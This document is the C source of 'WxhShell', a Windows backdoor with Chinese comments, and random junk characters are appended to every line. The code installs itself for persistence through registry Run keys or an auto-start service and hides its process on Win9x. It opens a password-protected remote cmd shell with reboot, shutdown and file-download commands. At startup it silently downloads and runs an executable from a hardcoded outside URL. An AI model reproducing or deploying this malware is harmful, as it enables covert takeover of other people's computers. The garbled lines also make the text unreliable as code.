if(!OsIsNt) { L5""
// 如果时win9x，隐藏进程并且设置为注册表启动 STs~GOm-
HideProc(); "K`B'/08^
StartWxhshell(lpCmdLine); H r?G_L
} ]y@8mb&
else -,Cx|Nl
if(StartFromService()) EtJyI&7VK
// 以服务方式启动 Wm4@+}
StartServiceCtrlDispatcher(DispatchTable); T5NO}bz
else Rj9z'?a9
// 普通方式启动 lDO9GNz$
StartWxhshell(lpCmdLine); M~w =ZJ@
2}>jq8Y47
return 0; z`((l#(
} BFt?%E/]
p!>FPS
mv%fX2.
DCM,|FE
=========================================== EsXCi2]1
.MMFN}1O
gxpR#/(E~
^kxkP}[Z.
7}>j [
x;S v&
" !p4w 8
6+BR5Nr
#include <stdio.h> LU~U>
#include <string.h> [jve |-v=
#include <windows.h> mf6?8!O}>
#include <winsock2.h> Ra<mdteZT
#include <winsvc.h> z+FhWze
#include <urlmon.h> Q^/66"Z:Z
/4+M0Pl
#pragma comment (lib, "Ws2_32.lib") /]2-I_WB
#pragma comment (lib, "urlmon.lib") ChF:N0w? p
1@RctI_}
#define MAX_USER 100 // 最大客户端连接数 xi8RE@gm
#define BUF_SOCK 200 // sock buffer d_gm'
#define KEY_BUFF 255 // 输入 buffer o0&jel1a
9d^o2Yo
#define REBOOT 0 // 重启 23@e?A=C
#define SHUTDOWN 1 // 关机 2<)63[YO
L)&?$V
#define DEF_PORT 5000 // 监听端口 pL8+gL
He^+>XIam
#define REG_LEN 16 // 注册表键长度 ]78I
#define SVC_LEN 80 // NT服务名长度 G*2bYsnhX
(p26TN;*$5
// 从dll定义API KG)7hja<6g
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rBa <s
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D{I^_~-\5
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ==`K$rM
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RN238]K
}MW*xtGV
// wxhshell配置信息 P\KP)bkC
struct WSCFG { ,.uu/qV}w
int ws_port; // 监听端口 1U.se`L
char ws_passstr[REG_LEN]; // 口令 sy+1xnz
int ws_autoins; // 安装标记, 1=yes 0=no Q\&FuU
char ws_regname[REG_LEN]; // 注册表键名 dN\Byl(6
char ws_svcname[REG_LEN]; // 服务名 Brr{iBz*"
char ws_svcdisp[SVC_LEN]; // 服务显示名 o1YX^-<[F
char ws_svcdesc[SVC_LEN]; // 服务描述信息 5 :6^533]
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R<{bb'
int ws_downexe; // 下载执行标记, 1=yes 0=no )Y}t~ Zfx
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VlRN
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SdBv?`u|g
6|wiZw
}; {ER! 0w/
db$Th=s[
// default Wxhshell configuration !}|n3wQ
struct WSCFG wscfg={DEF_PORT, uS<7X7|!0
"xuhuanlingzhe", K#H}=Y A
1, m]} E0
"Wxhshell", \~d|MP}"F:
"Wxhshell", &1YqPk
"WxhShell Service", 3Ba>a(E
"Wrsky Windows CmdShell Service", ,@jRe&6
"Please Input Your Password: ", wV-1B\m
1, 6js94ko[
"http://www.wrsky.com/wxhshell.exe", )(~4fA5j)
"Wxhshell.exe" 3P~I'FQ
}; *,5V;7OR
n3t1'_/TU}
// 消息定义模块 U*`7
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q( .d!CQ>
char *msg_ws_prompt="\n\r? for help\n\r#>"; .^j#gE&B
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0'*whhH
char *msg_ws_ext="\n\rExit."; Y,?s-AB
char *msg_ws_end="\n\rQuit."; MKLntX
char *msg_ws_boot="\n\rReboot..."; ~Z!!wDHS
char *msg_ws_poff="\n\rShutdown..."; |E-/b6G
char *msg_ws_down="\n\rSave to "; S%<RV6{aiM
w~+5FSdH
char *msg_ws_err="\n\rErr!"; z=:<]j#=
char *msg_ws_ok="\n\rOK!"; $r)+7i
pXf@Y}mH
char ExeFile[MAX_PATH]; .ii9-+_
int nUser = 0; IXNcn@tN
HANDLE handles[MAX_USER]; j9Ptd$Uj
int OsIsNt; {2G9>'
['ol]ZJ
SERVICE_STATUS serviceStatus; l:mC'aR
SERVICE_STATUS_HANDLE hServiceStatusHandle; x*& OvI/o
^IGutZov
// 函数声明 t=syo->
int Install(void); Fj}|uiOQUS
int Uninstall(void); S%gb1's
int DownloadFile(char *sURL, SOCKET wsh); i <0H W
int Boot(int flag); J/S 47J~
void HideProc(void); xO)vn\uJ
int GetOsVer(void); c9imfA+e
int Wxhshell(SOCKET wsl); 2-5AKm@K
void TalkWithClient(void *cs); yPrp:%PS
int CmdShell(SOCKET sock); FJKW=1=,
int StartFromService(void); yE[ -@3v
int StartWxhshell(LPSTR lpCmdLine); :Y/i%#*1
p>4$&-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e\x=4i
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |3{DlZ2S
CAyV#7[0
// 数据结构和表定义 B5h-JON]-
SERVICE_TABLE_ENTRY DispatchTable[] = s$`g%H>
{ ;ZZ%(P=-
{wscfg.ws_svcname, NTServiceMain}, <Z5ak4P
{NULL, NULL} yL/EIN
}; >yFEUD:
G6K;3B
// 自我安装 :acnrW>i[@
int Install(void) Xr\|U89P
{ HL$}Gh]q
char svExeFile[MAX_PATH]; G0Zq:kJ
HKEY key; \hN\px
strcpy(svExeFile,ExeFile); wLwAtjW)
9z7^0Ruw
// 如果是win9x系统，修改注册表设为自启动 *n mr4Q'v{
if(!OsIsNt) { 2GOQ|Z
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]jiM
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # D"TY-$.=
RegCloseKey(key); !Cxo4Twg
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h<H.8.o
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `$oGgz6ZT
RegCloseKey(key); ^|y6oj
return 0; <,p|3p3
} ].53t"*
} ~$XbYR-
} mqgA
else { Z7RGOZQ}G
=H6"\`W
// 如果是NT以上系统，安装为系统服务 3a PCi>i!_
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :e>y= s>
if (schSCManager!=0) lJ.:5$2H
{ &ywAzGV{s
SC_HANDLE schService = CreateService vmdu9"H
( K +n
schSCManager, V5sH:A7GJ
wscfg.ws_svcname, !|6M,Rk_
wscfg.ws_svcdisp, YT\x'`>Q
SERVICE_ALL_ACCESS, ']1\nJP[=X
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -q1vB8gjj
SERVICE_AUTO_START, {^>dQ+Sx7
SERVICE_ERROR_NORMAL, K];`
svExeFile, I>ks H
NULL, .),ql_sXr
NULL, t mAj
NULL, mh`~1aEr
NULL, k(1]!c4J0
NULL L,#ij!txS
); ~EJVlji
if (schService!=0) gi!{y
{ -JOtvJIQI
CloseServiceHandle(schService); 2g shiY8_
CloseServiceHandle(schSCManager); *olV Y/'O
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |9>?{ B\a
strcat(svExeFile,wscfg.ws_svcname); Xv;} !z
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ny|2Fcs
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l`c&nf6
RegCloseKey(key); t.wB\Kmt\
return 0; vi?{H*H4c
} "@: b'm
} UjLZ!-}
CloseServiceHandle(schSCManager); +Hx$ABH
} Wr+?ul*_
} "e]1|~
Pd-0u>k
return 1; nXHU|5.I
} {pJ{UJKv?
Hq9yu*!u
// 自我卸载 <aps)vF
int Uninstall(void) zK.%tx}+=k
{ r #H(kJu,
HKEY key; xb/L AlJ
9W{`$30
if(!OsIsNt) { %|mRib|<C
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (p4|,\+
RegDeleteValue(key,wscfg.ws_regname); c%p7?3Ry
RegCloseKey(key); l)y$c}U
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,>(/}=Z.
RegDeleteValue(key,wscfg.ws_regname); /G)Y~1ASA%
RegCloseKey(key); &h)G>Sqc
return 0; ap|7./yg
} 9WN4eC$
} N7%iz+
} 3I0=^>A
else { OO)m{5r,{
xWkCP2$?P
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s9t`!
if (schSCManager!=0) Glz)-hjJ:n
{ [k~V77w 14
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tbz?th\#
if (schService!=0) Y1e>P
{ piq1cV
if(DeleteService(schService)!=0) { $`7cs}#
CloseServiceHandle(schService); .hI3Uv8[
CloseServiceHandle(schSCManager); 5Fh?YS=
return 0; 7R9S%
} ;3ZHm*xJx
CloseServiceHandle(schService); t~mbe
} ~!o\uTVr
CloseServiceHandle(schSCManager); E]zTd$v6
} tK9_]663
} a.P7O!2Lp
*>otz5]
return 1; #"tHT<8u
} MUo}Qi0K
US8pT|/
// 从指定url下载文件 $nR1AOm}.B
int DownloadFile(char *sURL, SOCKET wsh) gFk~SJd
{ N}ur0 'J0
HRESULT hr; Rw4"co6
char seps[]= "/"; \ ;.W;!*
char *token; 4-P'e%S
char *file; g3B zi6$m
char myURL[MAX_PATH]; G2#={g{
char myFILE[MAX_PATH]; }9n{E-bj*
:?1r.n
strcpy(myURL,sURL); ;CbQ}k
token=strtok(myURL,seps); PnB%vS
while(token!=NULL) |&JCf=
{ *=]hc@
file=token; jJ^p ?
token=strtok(NULL,seps); U`gQ7
} JffjGf-o
,TrrqCw>
GetCurrentDirectory(MAX_PATH,myFILE); d*7nz=0&$
strcat(myFILE, "\\"); unE h
strcat(myFILE, file); L_fu<W
send(wsh,myFILE,strlen(myFILE),0); >)g`;iO
send(wsh,"...",3,0); j$l[OZ:#
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W,</
if(hr==S_OK) 6nxX~k
return 0; +5n,/YjS`
else anwMG0
return 1; YE<_a;yh1
F+.:Ry FS
} !Pnvqgp/
<0my,hAK
// 系统电源模块 Lf+M +^l
int Boot(int flag) <uGc=Du
{ a]NQlsE}l
HANDLE hToken; U=_O*n?N-d
TOKEN_PRIVILEGES tkp; (n'Mf
HCP'V
if(OsIsNt) { 20[_eu)
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >kK;IF9h
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1+;Z0$edxz
tkp.PrivilegeCount = 1; 6?-vj2,
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /15e-(Zz/
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y8T%g(
if(flag==REBOOT) { <0,c{e
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IY$H M3t7
return 0; H]@M00C
} K07b#`NF6
else { ^8S'=Bk
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <"I#lib
return 0; 0pP;[7k\
} 83,ATQg
} D[) Z$+D4f
else { 9I0}:J;7
if(flag==REBOOT) { %{$iN|%J%$
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y`@:L'j
return 0; h+o-h4X
} _~m@ SI
else { `TvpKS5.Y
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ps3wg=ni[
return 0; 2CX'J8Sy
} _97A9wHj
} Z1j3F
6C6<,c
return 1; w i,}sEoM
} +an.z3?w
D+Osz
// win9x进程隐藏模块 h^E"eC
void HideProc(void) , VT&
{ 0pT?qsM2
E"p;
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XV"8R"u%Q
if ( hKernel != NULL ) '0z-duu
{ ?Rlo<f:Mf
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =aM(r6 C
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P@Oq'y[
FreeLibrary(hKernel); "F nH>g-
} o+e:HjZZ
E<u6 js,
return; v8Ga@*
} y; LL^:rq
4+fWIY1 "
// 获取操作系统版本 /="~Jo
int GetOsVer(void) {DzOXTI[Y
{ X 4\
OSVERSIONINFO winfo; JQCQpn/
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9r,)Bw!RP
GetVersionEx(&winfo); L4bx [
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e nsou!l
return 1; CmyCne
else j9FG)0
return 0; y\M]\^[7
} kXw&*B-/
XcfvmlBoD-
// 客户端句柄模块 [ +w=
int Wxhshell(SOCKET wsl) '6Lw<#It
{ 9F[k;Uw
SOCKET wsh; X?PcEAi;w
struct sockaddr_in client; M^f+R'Q3
DWORD myID; H_H3Gp
g\;&Z
while(nUser<MAX_USER) aj>6q=R
{ x+niY;Z E
int nSize=sizeof(client); WCf?_\cG
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /l o;:)AiP
if(wsh==INVALID_SOCKET) return 1; ~.-o*
#9Src\V
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;- ~}g7$
if(handles[nUser]==0) 'Z^-(xG,+
closesocket(wsh); Ct-^-XD
else Rd|#-7
nUser++; l_Eeus
} {<f |h)r
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r$7zk<01
>"}z % #
return 0; EZICH&_
} F#<$yUf%
PH6!T/2[
// 关闭 socket 1?6zsA%N
void CloseIt(SOCKET wsh) 3<c_`BWu
{ M$@Donx
closesocket(wsh); t@hE}R
nUser--; ?4G/f<ou
ExitThread(0); S5a?KU
} /j}"4_.8
tQTVP2:Y
// 客户端请求句柄 ;gE]*Y.Z.p
void TalkWithClient(void *cs) |2ttdc.
{ 0+H4sz%.
m]XG7:}V0
SOCKET wsh=(SOCKET)cs; <G+IbUG:
char pwd[SVC_LEN]; =Fu~ 0Wc
char cmd[KEY_BUFF]; )I/K-zj
char chr[1]; 3b9SyU2
int i,j; Y/|wOm;|
1/hk3m(C
while (nUser < MAX_USER) { [\41
o8Q+hZB}A
if(wscfg.ws_passstr) { Qv v~nGq$
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OE{PP9eh
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2.6F5&:($
//ZeroMemory(pwd,KEY_BUFF); 3Gr:.V9=
i=0; BAy]&q|.
while(i<SVC_LEN) { 1-!q,q
,m"0Bu2
// 设置超时 c)5d-3"
fd_set FdRead; Z+3j>_Ss
struct timeval TimeOut; -D?-ctFYj^
FD_ZERO(&FdRead); 8Qwn
FD_SET(wsh,&FdRead); xRTr@
TimeOut.tv_sec=8; ke~S[bL%-
TimeOut.tv_usec=0; xD|/98
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xoT|fgb
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0\/cTNN
ZvSWIQ6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); il403Ae0
pwd=chr[0]; B'@a36
if(chr[0]==0xd || chr[0]==0xa) { =x QLf4>
pwd=0; :<"b"{X"
break; v"Z`#Bi
} }\-"L/D?+
i++; z[E gMS!
} 5:T)hoF@
_--kK+rU
// 如果是非法用户，关闭 socket (hb\1wZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FxK2 1
} =o<iBbK#|
BS(XEmJn&j
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M~o\K'
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "i5Rh^
-_4ZT^.Lna
while(1) { K]bw1KK
Q+r8qnL'
ZeroMemory(cmd,KEY_BUFF); (*XSrQ
5VLJ:I?0O
// 自动支持客户端 telnet标准 GELxS!
j=0; l&2}/A
while(j<KEY_BUFF) { 'IykIf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uyfH;9L5$
cmd[j]=chr[0]; `H#G/zOr
if(chr[0]==0xa || chr[0]==0xd) { s?}m~Pl
cmd[j]=0; aYC[15?'
break; P p]Ygt'u
} S,'y L7s
j++; u#>*"4Q
} L<`p;?
q|r/%[[!o
// 下载文件 uy t'
if(strstr(cmd,"http://")) { kv)IG$S0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); z4UJo!{S
if(DownloadFile(cmd,wsh)) Kx@Papn|6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -$Ad#Eu]M
else <-3_tu>l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|pPzEA>
} 6cm&=n_u
else { :v(fgS2\
[og_0;
switch(cmd[0]) { SZ*Nr=X
4XCy>;4u
// 帮助 WF!u2E+
case '?': { 'Drz6K_KrP
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /3>5ex>PN
break; =MP?aH [
} ! ,*4d $
// 安装 F79!B
case 'i': { N-~Uu6zr
if(Install()) 4,yS7l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Te:4z@?
else lJR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W ^MF3
break; p3N/"t&>
} IeZgF>
// 卸载 &E(KOfk#
case 'r': { ZWVN(U
if(Uninstall()) l^ Q-KUI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U11bQ4ak
else O`pqS\H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y!,Ly_x$@
break; &.ENcEic
} "G+g(?N]j
// 显示 wxhshell 所在路径 K< ;I*cAX
case 'p': { Xc!0'P0T
char svExeFile[MAX_PATH]; !MNnau%O
strcpy(svExeFile,"\n\r"); 0j--X?-
strcat(svExeFile,ExeFile); Tw{}Ht_Qq
send(wsh,svExeFile,strlen(svExeFile),0); X,Q'Xe/
break; m,TN%*U!
} , Ac gsC
// 重启 !T<4em8
case 'b': { E5H0Yo.Wi
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .*3.47O
if(Boot(REBOOT)) 3b#eB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l4:5(1
else { I>(3\z4s
closesocket(wsh); N"+o=nS
ExitThread(0); ,y'E#_cTgQ
} :L E&p[^
break; ^>3q@,C]c
} Xv~v=.HNhk
// 关机 WlJ$p$I`
case 'd': { 3/j^Ao\fw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qVvQ9?
if(Boot(SHUTDOWN)) YoT<]'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WFYbmfmV
else { *j9hjq0j
closesocket(wsh); 3.c0PRZ
ExitThread(0); Pa8E.<>
} YEg(QOn3Q
break; a___SYl 'K
} 5vfzSJ
// 获取shell WPN4mEow
case 's': { )yOdRRP
CmdShell(wsh); L355uaj
closesocket(wsh); 3 W%Bsqn
ExitThread(0); C'_^DPzj
break; OrZ=-9"
} =`1#fQDt
// 退出 _~{Nco7T
case 'x': { +J`HI1
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MPtn$@
CloseIt(wsh); _gGI&0(VM
break; EGY'a*]cU
} r&MHww1i
// 离开 Xq"_^
case 'q': { swfcA\7R
send(wsh,msg_ws_end,strlen(msg_ws_end),0); e Qz_,vTk
closesocket(wsh); &J <km
WSACleanup(); T[z}^"
exit(1); LhfI"fc
break; g}vOp3^
} m$bX;F}T
} 0c$0<2D%
} ~"Kf+eFi
D^[}:O{
// 提示信息 5*q!:$ W
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BJ c'4>
} w6-A-M6hD
} kvdiDo
IQ5H`o?[B
return; T~238C{vh
} Q?Y\WD
&8##)tS(y
// shell模块句柄 +5zLQ>]z
int CmdShell(SOCKET sock) XMR$I&;G8
{ `YK2hr
STARTUPINFO si; WRq:xDRn0
ZeroMemory(&si,sizeof(si)); THQd`Lj
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DR d|m<Z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~_!lx
PROCESS_INFORMATION ProcessInfo; 3!&PI
char cmdline[]="cmd"; a-A>A_.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !zu YO3:
return 0; ,t2yw
} @y|ZXPC#
zQ&k$l9
// 自身启动模式 4;rt|X77
int StartFromService(void) FnoE\2}9
{ +*O$]Hh
typedef struct (9"w{pnlLc
{ nB~hmE)
DWORD ExitStatus; ];3]/b)&
DWORD PebBaseAddress; P0Q]Ds|
DWORD AffinityMask; x)wlp{rLf
DWORD BasePriority; ^B>BA
ULONG UniqueProcessId; Wk0"U V
ULONG InheritedFromUniqueProcessId; JQo"<<[
} PROCESS_BASIC_INFORMATION; N=JZtf/i
oPqWL9]
PROCNTQSIP NtQueryInformationProcess; p4Wy2.&Q
v$P<:M M
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hS( )OY
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "vH>xBR[%
w_>SxSS7
HANDLE hProcess; 2j*+^&M/
PROCESS_BASIC_INFORMATION pbi; L"_l(<g
( <Abw{BTm
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +1te8P*
if(NULL == hInst ) return 0; 75^U<Hz-3{
&=KNKE`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2;v1YKY
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0LjF$3GpZ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;cFlZGw
F*0rpQ,*
if (!NtQueryInformationProcess) return 0; M6j!_0j
<$V!y dO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pPa3byWf
if(!hProcess) return 0; wWaJ%z>3y
gsSUmf1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hB!>*AsG
eB]R<a60
CloseHandle(hProcess); >" z$p@7
[!<W{ ($5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q2pq~LI
if(hProcess==NULL) return 0; lCX*Q{s22
0sQt+_Dl%L
HMODULE hMod; <%SG <|t
char procName[255]; " iz'x-wy
unsigned long cbNeeded; \qo}}I>e
'Avp16zg
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fH>I/%
19g-#H!
CloseHandle(hProcess); :Sd"~\N+
B5pWSS
if(strstr(procName,"services")) return 1; // 以服务启动 R9!GDKts%
JM&:dzyIP
return 0; // 注册表启动 >k)zd-
} TTfU(w%&P
q_R^Q>ZIe
// 主模块 C<T)'^7z
int StartWxhshell(LPSTR lpCmdLine) 3jJd)C R
{ i'\7P-a
SOCKET wsl; pE~>k:
BOOL val=TRUE; ZJod=^T
int port=0; &|LP>'H;
struct sockaddr_in door; J/{!_M-
x=7qC#+)
if(wscfg.ws_autoins) Install(); *%(BE*C}
6]mFw{6qn1
port=atoi(lpCmdLine); iVQ)hsW/
G'dN_6ho3
if(port<=0) port=wscfg.ws_port; 8Q*477=I
@j{n V@|
WSADATA data; T``O!>J
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `nvm>u~[Hq
HXg#iP^tv
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "lT>V)NB'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oE;SZ"$x
door.sin_family = AF_INET; 5RUhrE
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ITmW/Im5
door.sin_port = htons(port); 50?5xSEM0_
4b}94e@(N
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yf/c
closesocket(wsl); ]rY3bG'&
return 1; ^gu;
} FZi'#(y
W3h{5\d!
if(listen(wsl,2) == INVALID_SOCKET) { O\5q_>]
closesocket(wsl); @Q%g#N
return 1; Fb^Ae6/i
} "AayU
Wxhshell(wsl); w<o#/J9
WSACleanup(); JKMcdD?'
f'-) 3T
return 0; )yyS59s
l`' lqnhv
} W4ygJL7 6
UomO^P
// 以NT服务方式启动 pRTdP/(OQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &#w~S~
{ @XSxoUF\
DWORD status = 0; !vQDPLBL
DWORD specificError = 0xfffffff; "KhVS
`(dRb
serviceStatus.dwServiceType = SERVICE_WIN32; %CaUC'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `BGU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )tB1jcI;
serviceStatus.dwWin32ExitCode = 0; z!0}Kj
serviceStatus.dwServiceSpecificExitCode = 0; sO;]l"{<
serviceStatus.dwCheckPoint = 0; $At,D.mGkb
serviceStatus.dwWaitHint = 0; >_m4 idq1
Z,ZebS@yG
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C\d5t4s
if (hServiceStatusHandle==0) return; rjJ-ZRs\
+P//p$pE
status = GetLastError(); &qP@WFl
if (status!=NO_ERROR) xn`<g|"#
{ : ~R:[T2P
serviceStatus.dwCurrentState = SERVICE_STOPPED; YYiT,Xp<A
serviceStatus.dwCheckPoint = 0; HXg4 T
serviceStatus.dwWaitHint = 0; [ ]LiL;A&
serviceStatus.dwWin32ExitCode = status; (!iGQj(m
serviceStatus.dwServiceSpecificExitCode = specificError; d J;y>_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F87aIJ.pGN
return; Hc"FW5R
} r!,/~~mT
R8K?!Z
serviceStatus.dwCurrentState = SERVICE_RUNNING; Wt8=j1>
serviceStatus.dwCheckPoint = 0; g'Id31r'
serviceStatus.dwWaitHint = 0; |!=KLJUA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G'\x9%
} B<A=U r
kpU-//lk+
// 处理NT服务事件，比如：启动、停止 i(l'f#
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ksu_4dE
{ J BN_Upat
switch(fdwControl) TiF2c#Q*y
{ ncy?w e
case SERVICE_CONTROL_STOP: ,aLdW,<6
serviceStatus.dwWin32ExitCode = 0; 5csqu^/y
serviceStatus.dwCurrentState = SERVICE_STOPPED; w&E*{{otJ
serviceStatus.dwCheckPoint = 0; @jp}WwC/
serviceStatus.dwWaitHint = 0; XM"{"
{ ZGHh!Ds;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e[8AdE
} 4)4E/q/5
return; FlPPz
case SERVICE_CONTROL_PAUSE: \;%DDw
serviceStatus.dwCurrentState = SERVICE_PAUSED; 6}>:sr
break; ]mW)T0_
case SERVICE_CONTROL_CONTINUE: 1~x=bphS
serviceStatus.dwCurrentState = SERVICE_RUNNING; ny,a5zEnF
break; f/VrenZ_
case SERVICE_CONTROL_INTERROGATE: PilV5Gg
break; h"-}BjL
}; OGjeE4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :<}.3Q?&
} UQ ~7,D`=#
s=uWBh3J
// 标准应用程序主函数 Zk4(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %](H?'H
{ 8O)!{gB
i7m=V T
// 获取操作系统版本 #O |Z\|n
OsIsNt=GetOsVer(); );cu{GY
GetModuleFileName(NULL,ExeFile,MAX_PATH); =R>%}5
6.!3g(w
// 从命令行安装 &Vtgh3I
if(strpbrk(lpCmdLine,"iI")) Install(); m#(tBfH[
i~k9s
// 下载执行文件 VS:UVe
if(wscfg.ws_downexe) { l5m5H,`
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iSZiJ4AUq
WinExec(wscfg.ws_filenam,SW_HIDE); -C7IUat<
} P0En&g+~
3]X9 z
if(!OsIsNt) { PKx ewd
// 如果时win9x，隐藏进程并且设置为注册表启动 x 7;Zwd
HideProc(); A!K/92[#@
StartWxhshell(lpCmdLine); f.o,VVYi
} E/MNz}+
else Pw"o[8
if(StartFromService()) S!<1CFh
// 以服务方式启动 kJJUu
StartServiceCtrlDispatcher(DispatchTable); sp0j2<$a
